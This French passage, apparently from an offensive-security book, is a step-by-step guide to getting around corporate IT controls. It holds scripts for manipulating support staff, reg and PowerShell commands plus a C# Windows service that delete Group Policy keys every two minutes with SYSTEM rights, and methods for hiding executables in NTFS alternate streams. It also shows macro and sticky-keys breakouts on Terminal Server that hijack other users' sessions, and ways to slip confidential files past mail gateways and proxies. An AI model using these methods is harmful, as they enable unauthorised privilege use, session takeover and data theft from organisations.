5. Remerciez le service de support pour sa réactivité. Donnez un rendu positif à l’équipe.
Nous allons prendre deux exemples applicables en préparant le terrain par e-mail ou par
téléphone.
L’installation de 7Zip :
1. Le choix de l’application est 7zip, parce qu’elle est gratuite, de bonne réputation et qu’elle
va nous être nécessaire.
2. Je crée un problème : « J’ai reçu un mail d’un fournisseur qui contient un fichier joint avec
une extension RAR », les fichiers RAR ne sont pas ouverts par Windows sans installer une
application et la plupart sont payantes.
3. Je rends le problème important et urgent pour l’entreprise : « Le fichier est important, j’ai
besoin de l’ouvrir ce matin, pour terminer avec ce fournisseur avant de finaliser notre
contrat. »
4. J’apporte une solution : « Le fournisseur m’a parlé de 7zip qui peut ouvrir les fichiers RAR,
il est gratuit, je l’ai même déjà téléchargé sur le site officiel pour vous faire gagner un peu de
temps. Je sais que vous avez beaucoup de boulot. J’espère que vous pouvez tout de même vite
passer ce matin me l’installer. ».
5. Remerciez comme il se doit le service de support.
L’installation de GIMP :
1. Le choix de l’application est GIMP (logiciel de photo libre de droits), parce qu’elle est
gratuite, de bonne réputation et qu’elle va nous être nécessaire.
2. Je crée un problème : « J’ai besoin de retoucher une image pour un client et Paint ne va pas
me suffire », Paint est intégré à Windows, mais il est très simpliste.
3. Je rends le problème important et urgent pour l’entreprise : « Je devrai faire cela cet après-
midi ou au maximum demain matin. »
4. J’apporte une solution : « Je sais qu’on utilise Photoshop, mais je n’ai pas besoin de faire
souvent des modifications sur des photos. Je préférerais que l’informatique garde le prix de la
licence pour augmenter les salaires de nos braves collaborateurs. J’utilise déjà GIMP à la
maison, il est gratuit et suffisant pour moi. Je l’ai téléchargé sur le site de GIMP. Si vous avez
encore un moment cet après-midi, ça me sauverait la vie. »
5. Remerciez comme il se doit le service de support.
Ce type de scénario est simple et efficace. Si vous souhaitez aller plus loin, vous pouvez
préparer plus précisément votre attaque en cherchant à mieux connaître les personnes que
vous devrez manipuler. Plus vous serez patient et aurez d’informations, plus votre attaque
aura des chances de réussir.

Outrepasser les stratégies de groupe


1. Le principe des stratégies de groupe
Les stratégies de groupe sont généralement définies au niveau de l’entreprise par un
administrateur de domaine. Il crée des règles qui sont ensuite appliquées au niveau de
l’utilisateur ou au niveau de la machine. Ces règles, les GPO (Group Policy Object), sont
rafraîchies dans un délai lui aussi configurable par l’administrateur, par défaut 90 minutes sur
les postes clients. Lorsqu’une GPO est appliquée à un logiciel comme Office ou Internet
Explorer, elle applique les règles configurées lors du démarrage du programme. Lors du
lancement du programme, l’application va lire les restrictions dans le registre puis les
applique à l’utilisateur. Lors de l’application d’une GPO à des paramètres système, le moment
de l’application dépendra des paramètres. Si ces paramètres s’appliquent à une restriction
logicielle telle que l’interdiction d’utiliser l’éditeur du registre ou le gestionnaire des tâches,
ou d’éditer le pare-feu, alors le principe est généralement le même : c’est l’application qui, au
moment de son ouverture, va lire les restrictions appliquées dans le registre de l’utilisateur et
dans le registre local de la machine. Certaines fonctionnalités bloquées par GPO sont lues
uniquement au démarrage du système ou à l’ouverture de session. Si le registre est modifié
après le démarrage, il n’y aura pas d’impact sur ces paramètres.
2. Bloquer l’exécution des GPO
Pour bloquer l’application GPO, il faut empêcher l’application bloquée de pouvoir lire les
restrictions dans le registre. Avant Windows 7, il était possible de définir la sécurité des clés
de registres où sont stockées les restrictions et d’empêcher le système de réappliquer ces
droits. Depuis Windows 7 le système réapplique les droits. Une des manières des plus simples
consiste donc à supprimer régulièrement les clés dans le registre. Il est nécessaire d’avoir des
droits administrateurs sur sa machine pour pouvoir le faire.
a. Bloquer les stratégies de groupe d’utilisateur
Pour empêcher l’application des restrictions au niveau utilisateur, l’idéal est de créer une
tâche ou une application qui s’exécutera toutes les 2 minutes pour être sûr que lorsque le
système réappliquera automatiquement les restrictions, elles seront rapidement supprimées.
La majorité des informations de blocage des paramètres utilisateurs se trouvent ici :
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies
HKCU\Software\Policies
En supprimant le contenu de ces clés, vous pourrez à nouveau modifier le pare-feu, ouvrir
l’éditeur du registre et le gestionnaire des tâches, modifier l’écran de veille, etc, si ces
restrictions étaient au niveau de l’utilisateur. Si vous avez le droit d’exécuter la ligne de
commande reg.exe, créez un fichier gpo.bat avec les lignes suivantes :
reg delete HKCU\Software\Policies\ /f
reg delete
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies /f
Puis ajoutez une tâche planifiée avec les paramètres suivants :

Donnez le chemin du fichier bat.


Ouvrez la nouvelle tâche créée et cochez l’option Exécuter avec les autorisations
maximales.

Dans le deuxième onglet, modifiez le déclencheur avec une répétition toutes les 2 minutes,
comme dans l’image suivante :
Lorsque vous ouvrez votre session, la tâche supprimera les restrictions liées aux stratégies de
groupe utilisateur.
Si la stratégie actuelle bloque reg.exe, vous pouvez utiliser PowerShell pour supprimer les
clés de registre. Pour cela, créez un fichier GPO.Bat avec les lignes suivantes :
Powershell -command "&
{remove-ItemKCU:software\microsoft\windows\currentV
ersion\policies -confirm:$true}"
Powershell -command "&
{remove-ItemKCU:software\policies -confirm:$true}"
Le script aura le même effet que celui créé précédemment.
b. Bloquer les stratégies de groupe machine
Les stratégies de groupe liées à une machine s’installent lors du démarrage, puis se
rafraîchissent, par défaut, toutes les 90 minutes sur un poste client. Si on les supprime après le
démarrage du système, il se peut que certaines continuent à bloquer la configuration. Il faut
donc pouvoir les éliminer avant l’ouverture de la session et si possible, avec des droits élevés.
Pour répondre à cette problématique, nous allons créer un service Windows en .NET puis
l’installer et le configurer pour qu’il supprime les clés de registre avec les droits système.
Ouvrez le Bloc-notes et créez le fichier gpo.txt avec le code suivant :
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Permissions;
using System.ServiceProcess;
using System.Text;
using System.Threading;

namespace PolicyService
{
[RegistryPermissionAttribute(SecurityAction.Demand)]
static class Program
{
static void Main()
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[]
{
new PolicyService()
};
ServiceBase.Run(ServicesToRun);
}
}
[RegistryPermissionAttribute(SecurityAction.Demand)]
public partial class PolicyService : ServiceBase
{

protected override void OnStart(string[] args)


{
System.Timers.Timer minuteur1 = new System.Timers.Timer();

minuteur1.Stop();
minuteur1.Enabled = true;
minuteur1.Interval = 120000; //2 min
minuteur1.Elapsed += minuteur1_action;
Thread th = new Thread(minuteur1.Start);
th.Start();
supprimePolicies();
}

protected override void OnStop()


{

}
void supprimePolicies()
{// supprime policy machine

RegistryPermission permission = new


RegistryPermission(RegistryPermissionAccess.AllAccess, "SOFTWARE");
permission.Demand();
RegistryKey policy1 =
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies", true);
RegistryKey policy2 = Registry.LocalMachine.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies", true);
foreach (string souscle in policy1.GetSubKeyNames())
{
policy1.DeleteSubKeyTree(souscle);
}
foreach (string souscle in policy2.GetSubKeyNames())
{
policy2.DeleteSubKeyTree(souscle);
}
}
void minuteur1_action(object sender,
System.Timers.ElapsedEventArgs e)
{
supprimePolicies();
}

}
}
Le service, lors de son démarrage, supprimera les GPO toutes les 2 minutes.
Pour compiler l’application, dans une ligne de commande, allez dans le dossier du framework
installé sur votre machine (voir le chapitre Fabriquer ses propres outils de hacking). Puis
exécutez la ligne de commande suivante pour compiler votre service Windows :
C:\Windows\Microsoft.NET\Framework64\v3.5\
Csc /out:c:\temp\gpo.exe c:\temp\gpo.txt
Une fois le service créé, ouvrez une ligne de commande avec des privilèges élevés, puis
installez-le en utilisant SC.exe :
sc create "GPO Bloqueur" binpath= "C:\temp\gpo.exe” start= auto
Le service démarrera ainsi automatiquement lors du démarrage de la machine et utilisera les
droits système. Pour tester le fonctionnement du service, redémarrez votre machine après
l’installation.

Le seul inconvénient à ce procédé, c’est qu’il faut avoir des droits administrateurs pour
pouvoir installer le service. Mais une fois installé, plus besoin de ces droits.

3. Contre-mesures
Pour bloquer les stratégies de groupe de la machine, il faut être administrateur de la machine,
il convient donc de veiller à ce que les utilisateurs ne disposent pas du rôle administrateur sur
leur PC. Ensuite, vous pouvez bloquer les applications comme reg.exe ou sc.exe, ce qui
empêchera la modification du registre et l’installation du service. Toutefois, ce n’est pas
suffisant puisque reg.exe n’est pas la seule manière de modifier le registre (regedit,
PowerShell, .NET...), tout comme un service n’est pas la seule manière d’avoir les droits
système (cf. chapitre Prendre le rôle administrateur ou système).
Il serait plus sage dans un cas pareil de n’autoriser qu’une liste d’applications définies en
utilisant les restrictions logicielles et les stratégies de groupe, mais cela doit être fait avant
l’installation du service pirate, sinon ce sera trop tard.

Contourner les restrictions courantes


Comme vous l’aurez compris, la plupart des stratégies de groupe ne bloquent pas une
application, c’est l’application qui se bloque en lisant son interdiction dans le registre. Il n’est
pas toujours possible de modifier ou de supprimer les clés de registre qui limitent une activité
car cela nécessite d’avoir les droits suffisants sur son système. Microsoft propose aux
administrateurs d’autres outils que les GPO pour forcer un fonctionnement particulier, par
exemple l’utilisation des Préférences, AppLocker ou le déploiement de clés de registre via des
scripts d’ouverture de session.
Les utilisateurs ont eux aussi des moyens pour contourner les restrictions classiques pouvant
être mises en œuvre. Parmi ces moyens intégrés au système, on a :
 La ligne de commande.
 PowerShell.
 La création d’une application .NET qui utilise ou non WMI, puis la compiler.
 La création d’une macro dans un document Office.
 La création d’un script VBS qui utilise, suivant le cas, WMI.
Le système contient ce qu’il faut pour contourner les restrictions imposées par une stratégie.
Si l’utilisateur est administrateur de sa machine, les stratégies de groupe pourront quasiment
toutes être contournées ou supprimées. Nous allons lister les plus fréquentes ainsi que les
moyens de contournements les plus utilisés.

1. L’explorateur Windows
L’explorateur Windows est totalement intégré au système. Il est utilisé dès que vous souhaitez
naviguer vos dossiers. L’administrateur peut choisir de cacher et/ou de vous empêcher
d’accéder à un disque en appliquant une stratégie de groupe. Il ne s’agit pas là de la sécurité
définie avec NTFS, mais de l’accès à tout un disque.
a. Le principe
Comme vous l’avez vu dans la section précédente, quand le système applique une stratégie de
groupe, il écrit ces informations dans le registre. Les clés de registre qui correspondent à ce
blocage sont les suivantes :
HKCU\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer
"NoDrives"=dword:00000001
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer
"NoViewOnDrive"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer
"NoDrives"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\explorer
"NoViewOnDrive"=dword:00000001
Les restrictions peuvent être écrites dans les paramètres utilisateurs ou dans ceux de
l’ordinateur. Quand la stratégie est appliquée, l’explorateur, au moment de s’ouvrir, va lire
cette clé de registre et afficher ou permettre tout ce qui n’est pas bloqué.
b. Le contournement pour explorer les fichiers
C’est l’explorateur qui vous empêche de voir le disque et ce qui s’y trouve. Dans la plupart
des cas, il suffit de prendre un autre outil et vous aurez un accès complet.
Vous pouvez utiliser la ligne de commande avec dir pour afficher les dossiers et les
répertoires. Utilisez CD pour entrer dans un dossier.
C:\>dir
Le volume dans le lecteur C s’appelle Disk+
Le numéro de série du volume est 3EC5-30B9C

Répertoire de C:\

02.05.2013 11:08 <DIR> ExchangeBPALogs


19.02.2013 20:55 <DIR> inetpub
19.11.2012 17:06 <DIR> Intel
Vous pouvez aussi utiliser PowerShell avec les commandes ls, dir ou get-childItem.
PS C:\> get-childitem

Répertoire : C:\

Mode LastWriteTime Length Name


---- ------------- ------ ----
d---- 02.05.2013 11:08 ExchangeBPALogs
d---- 19.02.2013 19:55 inetpub
d---- 19.11.2012 16:06 Intel
Si vous avez le droit de télécharger des logiciels, vous pouvez chercher un outil comme Multi
Commander qui est gratuit et existe en version portable. Vous pouvez l’installer sans droits
administrateurs.

Il existe sur Internet d’autres outils ayant les mêmes fonctions.

2. Le registre
Le système utilise le registre comme une base de données ; il y stocke et y récupère
énormément d’informations. Certaines pourraient être sensibles à la lecture ou à la
modification. C’est pourquoi un administrateur peut envisager de bloquer l’édition du registre
en appliquant une stratégie de groupe.
a. Le principe
Quand la stratégie de groupe est appliquée pour empêcher l’édition du registre, le principe à
l’œuvre est le même que pour l’explorateur de Windows. C’est l’application Regedit,
regedt32 ou encore l’application en ligne de commande reg.exe qui vont lire dans le registre
lors de leur ouverture si elles ont ou non le droit de s’exécuter.
Lors de l’utilisation d’un des outils, vous aurez un message explicite.

Ce blocage est appliqué dans une des deux clés de registre suivantes :
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableRegistryTools"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableRegistryTools"=dword:00000001

b. Les contournements pour voir ou modifier le registre


Lorsque l’édition du registre est bloquée par stratégie de groupe, il n’est alors pas possible
d’exécuter Regedit.exe ou regedt32.exe. La ligne de commande reg ne fonctionne pas non
plus. Pourtant, PowerShell permet lui de lire des informations sans problème.
Ouvrez PowerShell et écrivez la commande suivante :
PS H:\> Get-ChildItem
HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\
currentVersion\policies

Name Property
---- --------
Explorer NoDriveTypeAutoRun : 145
NoViewOnDrive : 2
System DisableTaskMgr : 1
DisableRegistryTools : 1
Vous pouvez observer que l’on peut parcourir le registre malgré la limitation. Avec des droits
administrateurs sur votre machine, vous pouvez malgré la restriction supprimer une clé de
registre, par exemple celle qui nous empêche de démarrer regedit.exe.
Vous démarrez PowerShell avec des droits administrateurs.
remove-Item
HKCU:software\microsoft\windows\currentVersion\policies\system
Et le résultat après la suppression :
PS H:\> get-ChildItem
HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\
currentVersion\policies

Name Property
---- --------
Explorer NoDriveTypeAutoRun : 145
NoViewOnDrive : 2

PS H:\>
Il est maintenant possible de démarrer l’éditeur du registre ainsi que le gestionnaire des
tâches.
Vous pouvez aussi télécharger et utiliser une application portable comme Registry
Commander.

La restriction ne s’appliquant qu’à l’éditeur du registre intégré à Windows, il existe


suffisamment de solutions pour que vous puissiez en trouver une qui vous convienne.

3. Le gestionnaire des tâches


Une application de sécurité peut être détectée et arrêtée grâce au gestionnaire des tâches. Il
permet l’affichage et l’arrêt des processus et des services. Un administrateur peut alors choisir
de le bloquer en utilisant une stratégie de groupe.
a. Le principe
Le gestionnaire des tâches, au moment de démarrer, va lire le registre pour contrôler s’il a le
droit de s’exécuter. Quand la stratégie de groupe est appliquée, le gestionnaire se désactive.
Les clés de registre suivantes sont lues par l’application.
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableTaskMgr"=dword:00000001
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
"DisableTaskMgr"=dword:00000001
b. Les contournements voir, détruire ou créer un processus
Pour voir les processus en cours sur votre machine ou une machine distante, utilisez tasklist :
tasklist /fo list
Pour arrêter un processus local ou distant, utilisez taskkill avec le PID ou le nom de
l’application.
Taskkill /pid 2321
Taskkill /im notepad.exe
On voit dans l’image suivante le gestionnaire de tâches bloqué et la ligne de commande
fonctionner.

Si l’administrateur a pris le soin de bloquer tasklist et taskkill, vous pouvez utiliser WMI en
ligne de commande. Exécutez Wmic.exe puis process.
C:\>wmic
wmic:root\cli>process
Caption CommandLine
System Idle Process
System
smss.exe
csrss.exe
wininit.exe
services.exe
lsass.exe
svchost.exe
Vous pouvez aussi démarrer un processus avec Wmic :
wmic process call create mspaint.exe
Ou encore, en arrêter un :
C:\>wmic process where (Name="mspaint.exe") delete
Suppression de l’instance
\\PCWOLW8000\ROOT\CIMV2:Win32_Process.Handle="828"
La suppression de l’instance a réussi.
PowerShell permet aussi de voir les processus :
PS C:\> Get-Process

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName


------- ------ ----- ----- ----- ------ -- ---------
armsvc
97 8 7004 8716 37 0,22 6744 audiodg
51 8 2344 6452 59 0,42 4592 conhost
164 26 4780 14908 104 0,90 2632 Control Center
469 15 2328 5268 54 616 csrss
414 18 2332 44304 89 8472 csrss
443 34 11476 23448 127 2852
D’en démarrer un :
Start-Process notepad.exe
Et d’en arrêter :
Stop-Process -Name notepad
4. Gestion des fichiers avec FSRM
Lors de l’installation d’un serveur de fichiers à partir de Windows Server 2003 R2, il est
possible aux administrateurs de configurer l’outil pour mieux gérer les dossiers partagés ainsi
que les fichiers qu’ils contiennent. Cet outil donne aux administrateurs la possibilité de définir
un quota par dossier et par utilisateur, de bloquer des types de fichiers, d’avoir des rapports
sur le contenu s’y trouvant, de définir des actions personnalisées comme envoyer un mail
lorsqu’un utilisateur indélicat essaie d’ajouter un fichier interdit sur un espace de stockage
protégé.
a. Le principe
Cet outil se base sur des règles où l’administrateur définit qui et quels types de fichiers sont
bloqués pour un dossier et ses sous-dossiers. L’administrateur peut se baser sur les groupes
prédéfinis ou créer les siens. Ce qui est très important à comprendre dans ce type de blocage,
c’est que le système se base sur l’extension du fichier qui va être écrit ou copié sur le partage.
Lorsque vous essayez de mettre une image, un message apparaît :

b. Cacher un fichier à l’aide d’un autre document


Pour contourner le blocage, il suffit de renommer le fichier que vous souhaitez mettre sur le
partage pour en changer l’extension. C’est très simple, mais cela a le désavantage de devoir
renommer votre fichier à chaque fois que vous souhaitez l’ouvrir.
Vous pouvez contourner ce problème plus simplement en mettant vos fichiers dans un fichier
zip. Si les extensions de type zip sont bloquées, renommez le fichier avec l’extension d’un
document Office, comme DOCX, avant de le copier sur le partage.

Les fichiers Docx et les nouvelles extensions de Microsoft Office depuis 2007 sont réellement
des fichiers zip. Vous pouvez le tester en renommant un document Word ayant une
extension .docx en .zip et en l’ouvrant. Les fichiers zip ainsi renommés en docx seront
difficilement détectables.
Vous pouvez aussi contourner ce blocage en copiant vos fichiers directement dans un
document Word ou même Wordpad. Vos fichiers seront encore plus discrets et simples
d’accès.
Pour cela, ouvrez Wordpad, sélectionnez les fichiers, copiez puis collez dans le document.

Enregistrez votre document sur le partage, il ne sera pas bloqué.


c. Cacher un fichier avec les flux alternatifs
Le système de fichier NTFS permet l’ajout d’informations alternatives sur un fichier ou un
dossier. Ce type de flux est utilisé par le système pour y définir des métadonnées.
Vous pouvez utiliser les flux alternatifs comme solution pour contourner la restriction
logicielle, mais les flux alternatifs sont plus simples à détecter avec les outils de base que des
fichiers embarqués dans un document ou une image. Les flux alternatifs ne sont plus aussi
exploitables qu’ils l’étaient par le passé sous Windows XP. Il n’est par exemple plus possible
d’exécuter une application directement depuis un flux alternatif.
Pour cacher un fichier dans un autre document ou un dossier, utilisez la ligne de commande :
Type monApplication.exe > N:\dossier\document.doc:app.exe
Pour exécuter l’application, vous devez créer un lien symbolique avec le logiciel caché ; cela
fonctionne correctement sur Windows 7. Windows 8 ne permet pas un lien symbolique sur un
ADS (Alternate Data Stream).
Exécutez la ligne de commande avec les droits administrateurs :
mklink c:\temp\c.exe N:\dossier\document.doc:app.exe
Exécutez le lien symbolique :
C:\temp\c.exe
Pour lire et écrire des fichiers, vous pouvez utiliser un script VBS.
Pour écrire, créez un nouveau fichier VBS avec le Bloc-notes.
Dim FSO
Set fso = CreateObject("Scripting.FileSystemObject")
’1 pour lire ’2 pour écrire
Set f = fso.OpenTextFile("c:\temp\ecr.txt:test", 2,true)
f.write("Salut")
Pour lire le fichier, faites de même avec le code suivant :
Set oFso = CreateObject("Scripting.FileSystemObject")
Set fi = oFso.OpenTextFile("c:\temp\ecr.txt:test", 1)
ts = fi.ReadAll ’-- Lit la totalité du fichier
Msgbox(ts)
fi.close
Pour extraire un fichier exe depuis un ADS :
Set fi = oFso.OpenTextFile("c:\temp\test.txt:calc.exe", 1)
ts = fi.ReadAll ’-- Lit la totalité du fichier
Set f = fso.OpenTextFile("c:\temp\test4.exe", 2,true)
f.write(ts)
f.close
Pour l’exécuter depuis VBS :
set shl = createobject("wscript.shell" )
shl.run "c:\temp\test4.exe"

d. Trouver les flux alternatifs


Avec l’explorateur de Windows, vous ne trouverez que les fichiers normaux comme
document.docx dans l’illustration ci-dessous. Les flux alternatifs ne sont pas affichés.

Il faut pour les afficher utiliser la ligne de commande dir /r. Cette commande est disponible
depuis Windows Vista.
C:\Temp\ADS>dir /r
Le volume dans le lecteur C s’appelle OSDisk
Le numéro de série du volume est 4EC5-0B7C

Répertoire de C:\Temp\ADS

09.05.2013 12:29 <DIR> .


09.05.2013 12:29 <DIR> ..
7 ..:test:$DATA
1 492 992 ..:test.exe:$DATA
09.05.2013 12:30 0 document.docx
1 074 688 document.docx:calc.exe:$DATA
1 fichier(s) 0 octets
2 Rép(s) 333 856 219 136 octets libres
Cette commande a le désavantage d’afficher les flux alternatifs, mais aussi tous les autres
fichiers. Nous vous proposons le code .NET suivant qui vous donnera une application se
basant sur dir et affichant que les flux alternatifs.
Créez un nouveau document texte ADS.txt avec le code suivant :
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.IO;

namespace ADS_Reader
{
class Program
{
static string cheminBase = @"c:\";
static string VariableDir = @"Répertoire de ";
static void Main(string[] args)
{
try
{
if (args.Length > 0)
{
cheminBase = args[0].Trim();
}
else
{
Console.WriteLine("Veuillez donner le chemin à
tester comme argument.");
}
}
catch { }
Console.WriteLine("Veuillez patienter.");
Process p = new Process();
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.Arguments = "/c dir " +cheminBase +" /r /s";
p.StartInfo.FileName = "cmd.exe";
p.Start();
string consoleTexte = p.StandardOutput.ReadToEnd();
p.WaitForExit();
string[] retours = consoleTexte.Split(’\n’);
string dossier = cheminBase;
string Fichierparent = "";
string dossierParent = "";
foreach (string fichier in retours)
{
if (fichier.Contains(VariableDir))
{
dossierParent = fichier;
}
if (fichier.Contains("$DATA"))
{
Console.WriteLine(dossierParent);
Console.WriteLine(Fichierparent);
Console.WriteLine(fichier);
}
else
{
Fichierparent = fichier;
}
}
Console.ReadLine();

}
}
}
Allez dans le dossier du framework installé sur votre système :
Cd C:\Windows\Microsoft.NET\Framework\v3.5
csc /out:c:\temp\ads.exe c:\temp\ads.txt
Une fois le fichier compilé, pour l’exécuter, donnez le nom de l’application puis en paramètre
le dossier de départ à analyser.
Ads.exe c:\temp\ads\
L’application retourne uniquement les dossiers et les fichiers contenant des flux alternatifs.

Comme vous l’avez vu, les flux alternatifs sont intéressants, pas toujours simples à mettre en
œuvre et ils sont très simples à détecter.

5. Exécuter d’autres applications que celles prévues sur un Terminal Server


Un Terminal Server permet d’installer une application qui s’exécute sur le serveur.
L’utilisateur n’a plus besoin d’installer l’application sur sa machine. Il pourra l’utiliser depuis
le TS (Terminal Server) et suivant le mode de déploiement, il pourra même lancer
l’application depuis un portail web. Ce mode d’exécution évite les problèmes de déploiement
d’application et les problèmes de migration, et permet de travailler avec des applications
professionnelles sur des machines privées, puisque rien n’est installé sur celles-ci. Ce modèle
permet aussi de se connecter localement ou à distance via une passerelle web Teminal Server.
a. Le principe
Les administrateurs qui déploient des applications par les WebApp de Microsoft peuvent
définir quel utilisateur voit quelles applications dans ses raccourcis de lancement, le but étant
de ne pas laisser toutes les applications à tout le monde, parfois pour des raisons de licences,
parfois pour des raisons de sécurité.
b. Le contournement avec un raccourci
L’erreur est de croire que le raccourci présenté est le seul moyen d’exécuter un logiciel.
Depuis la majorité des logiciels publiés, il est possible d’explorer le système. Par exemple,
dans Word, il suffit d’aller enregistrer un document pour pouvoir parcourir les dossiers.
Pour exécuter une autre application que celle prévue, ajoutez un raccourci lors de
l’enregistrement de votre document. Cliquez avec le bouton droit dans la zone où se trouvent
normalement les fichiers enregistrés, puis créez un nouveau raccourci. Le raccourci peut
pointer vers cmd.exe ou powershell.exe.
Dans la même fenêtre, à la place du nom du fichier, mettez « * » une étoile, puis appuyez sur
la touche [Entrée]. Cela aura pour effet d’afficher tous les fichiers du répertoire y compris les
raccourcis.
Cliquez sur le raccourci avec le bouton droit de la souris puis sur Ouvrir.
Pour rappel, il est possible à partir de la ligne de commande ou depuis PowerShell de
démarrer une autre application, d’éditer le registre, de télécharger une application, etc.
c. Le contournement avec un document Office
Dans la mesure où votre Terminal Server vous donne la possibilité d’ouvrir une application
comme Word de la suite Office ou Writer de la suite Open Office, vous pourrez pour ouvrir
une autre application créer une macro en VBA (Visual Basic for Applications).
Ouvrez Microsoft Word et cliquez sur Fichier - Options. Dans l’onglet Personnaliser le
ruban, cochez dans la colonne de droite le menu Développeur puis cliquez sur OK.
Une fois revenu sur votre document, cliquez sur l’onglet Développeur puis ajoutez un bouton
dans votre document depuis la partie Contrôles.
Activez le Mode Création, puis double cliquez sur le bouton et insérez le code suivant :
Private Sub CommandButton1_Click()
x = Shell("powershell", vbNormalFocus)
End Sub
Enregistrez, fermez la fenêtre de code, désactivez le Mode Création, puis cliquez sur le
bouton créé.
La console PowerShell s’ouvre, vous avez maintenant la possibilité de faire bien plus sur le
Terminal Server, comme explorer et modifier les fichiers, le registre, etc.
d. Le contournement par le login
Dans la mesure où vous avez fait exécuter une application piégée par l’administrateur du
serveur Terminal Server qui est décrite dans le chapitre Prendre le rôle administrateur ou
système, vous allez pouvoir vous connecter sur le Terminal Server sans login ou en utilisant le
login d’une session verrouillée.
Pour cela, sur le Terminal Server, lors de la demande du mot de passe, appuyez 5 fois de suite
sur la touche [Shift]. Vous pouvez aussi, si vous avez le droit de vous authentifier dessus,
vous loguer puis appuyez sur [Crtl][Alt][Fin]. Cette combinaison de touche revient à faire
[Ctrl][Alt]Suppr] sur un PC normal. Vous pouvez dans cette fenêtre aussi appuyer 5 fois sur
[Shift]. Cela ouvrira la ligne de commande avec les droits système.
Une fois la console ouverte, exécutez taskmgr.exe, pour avoir le gestionnaire des tâches avec
les droits système.
Allez dans l’onglet Utilisateurs et avec le bouton droit de la souris, cliquez sur Se connecter
sur la session déconnectée qu’il vous intéresse d’ouvrir.

La session s’ouvrira sans vous demander de mot de passe. Cela fait partie des droits attribués
au compte système.

6. Passerelle mail
Certaines entreprises mettent en place des systèmes pour éviter le vol de données. Elles
bloquent les ports USB, empêchent la gravure de CD, installent des proxys et des passerelles
mail.
Une passerelle mail est mise en place par un administrateur de réseau afin d’empêcher les
spams et les courriels malveillants d’arriver jusqu’à l’intérieur de l’entreprise, ce qui est une
bonne chose. Ce type de logiciels est aussi utilisé pour empêcher l’extraction de fichiers
confidentiels. Un tel produit se base sur la classification des documents ou sur l’extension des
fichiers qui y transitent pour autoriser ou bloquer leur sortie.
a. Le principe
Une passerelle mail est installée entre le serveur de messagerie et la connexion Internet. Les
mails sortants sont automatiquement envoyés au logiciel, analysés par celui-ci, puis, si un
document important est détecté, le mail est bloqué. Ce système permet donc d’éviter le vol de
documents par e-mail.
b. Le contournement pour exfiltrer des fichiers
Le mail passe par la passerelle seulement au moment de l’envoi. Il suffit pour exfiltrer un
fichier, de créer un mail, d’ajouter le fichier à sortir puis de l’enregistrer dans les brouillons
sans l’envoyer. Une fois à l’extérieur de l’entreprise, ouvrez le webmail et téléchargez le
fichier confidentiel. Le mail ne sera pas bloqué puisqu’il ne sera pas passé par la passerelle.
Vous pouvez aussi cacher un document dans un autre document. Pour cela, créez un fichier
zip et copiez-le dans un document .doc comme vu dans la section Gestion des fichiers avec
FSRM.

7. Proxy Web
Un proxy web a dans une entreprise plusieurs fonctions. L’une des principales fonctions est
de fournir un cache pour les pages web téléchargées afin d’accélérer la navigation. La seconde
est de définir des règles de sortie pour les sites autorisés ou bloqués. Un tel serveur permet de
sécuriser la personne qui navigue en donnant l’IP du proxy plutôt que la sienne au site distant.
Il analyse, pour garantir la sécurité de l’entreprise, le trafic reçu et envoyé.
a. Le principe
Un proxy web se situe entre le navigateur du client et la connexion Internet. C’est le proxy qui
résout les noms en adresse IP. Le DNS (Domain Name System) du client n’a donc aucune
influence sur la résolution du nom. Le trafic analysé est principalement HTTP, FTP et parfois
HTTPS. La connexion est établie entre le navigateur et le proxy, et une nouvelle connexion
est créée entre le proxy et le site web. Le trafic sortant est parfois analysé pour éviter le vol de
fichiers.
Dans le cas d’HTTPS, le trafic est par défaut, directement envoyé au serveur sans être
analysé. L’analyse des flux HTTPS est plus complexe à mettre en œuvre et parfois considérée
comme intrusive.
b. Le contournement pour le chargement ou le téléchargement de fichiers
Dans les cas d’extraction de fichiers confidentiels ou le téléchargement de fichiers
normalement bloqués, il y a deux cas principaux, sans analyse du flux HTTPS ou avec.
Si le serveur proxy n’analyse pas le trafic HTTPS, il suffit de charger les fichiers à extraire ou
de télécharger un fichier normalement bloqué sur un serveur utilisant une connexion sécurisé.
Si vous n’en avez pas, vous pouvez utiliser SkyDrive. Allez sur https://skydrive.live.com/,
loguez-vous sur le site et chargez ou téléchargez vos fichiers. Le site de Microsoft supporte la
connexion par HTTPS de manière native.
Si le serveur proxy analyse le trafic HTTPS, la procédure sera un peu différente. Lors de
l’analyse du trafic HTTP ou HTTPS, chaque demande pour charger un fichier est transmise au
proxy qui l’analyse, puis crée une nouvelle connexion vers le site web distant si rien
d’anormal n’est détecté. Lors du téléchargement, le fichier est en général enregistré sur le
proxy, analysé par le serveur, puis transmis à l’utilisateur si celui-ci n’est pas jugé dangereux.
Le fichier sera de toute façon analysé. Il faut donc cacher votre fichier ou empêcher
éventuellement l’analyse. Mettre votre fichier dans un fichier zip n’est pas suffisant, il sera
analysé. Si vous mettez un mot de passe à votre fichier zip, il sera dans la majorité des cas
bloqué. Une des meilleures manières est de dissimuler votre fichier dans un document Office
comme un .doc en utilisant Word ou WordPad. La méthode est décrite dans le contournement
de la gestion des fichiers avec FSRM.
Il ne vous reste plus qu’à charger ou télécharger votre document sur ou depuis SkyDrive. Si
SkyDrive est bloqué, vous pouvez aussi créer votre propre serveur ayant un certificat web.
